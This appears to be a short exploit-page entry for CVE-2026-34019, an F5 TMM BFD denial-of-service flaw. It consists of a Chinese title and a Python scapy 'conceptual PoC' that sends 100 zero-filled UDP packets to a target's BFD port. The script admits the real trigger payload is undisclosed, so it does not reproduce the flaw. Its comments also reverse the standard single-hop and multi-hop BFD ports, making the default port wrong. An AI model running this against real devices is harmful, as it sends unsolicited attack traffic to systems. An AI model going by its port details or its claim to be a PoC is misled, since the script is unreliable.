CVE-2026-34019 F5 TMM BFD拒绝服务漏洞

#!/usr/bin/env python3 """ Conceptual PoC for CVE-2026-34019 Note: The specific payload to trigger the DoS is undisclosed. This script demonstrates how to send UDP packets to the BFD port. Author: Security Analyst """ import sys from scapy.all import IP, UDP, Raw, send def send_bfd_traffic(target_ip, target_port=4784): """ Send UDP packets to the BFD port (Default single-hop is 4784, multi-hop is 3784). """ # Placeholder payload. The actual exploit requires specific "undisclosed traffic" # which causes the TMM to stop processing packets. payload = b"\x00" * 24 packet = IP(dst=target_ip) / UDP(dport=target_port, sport=target_port) / Raw(load=payload) print(f"[*] Sending packets to {target_ip}:{target_port}...") try: # Sending multiple packets to simulate the traffic condition send(packet, count=100, inter=0.1, verbose=0) print("[+] Packets sent.") except Exception as e: print(f"[-] Error sending packets: {e}") if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python3 poc.py <TARGET_IP> [PORT]") sys.exit(1) target = sys.argv[1] port = int(sys.argv[2]) if len(sys.argv) > 2 else 4784 send_bfd_traffic(target, port)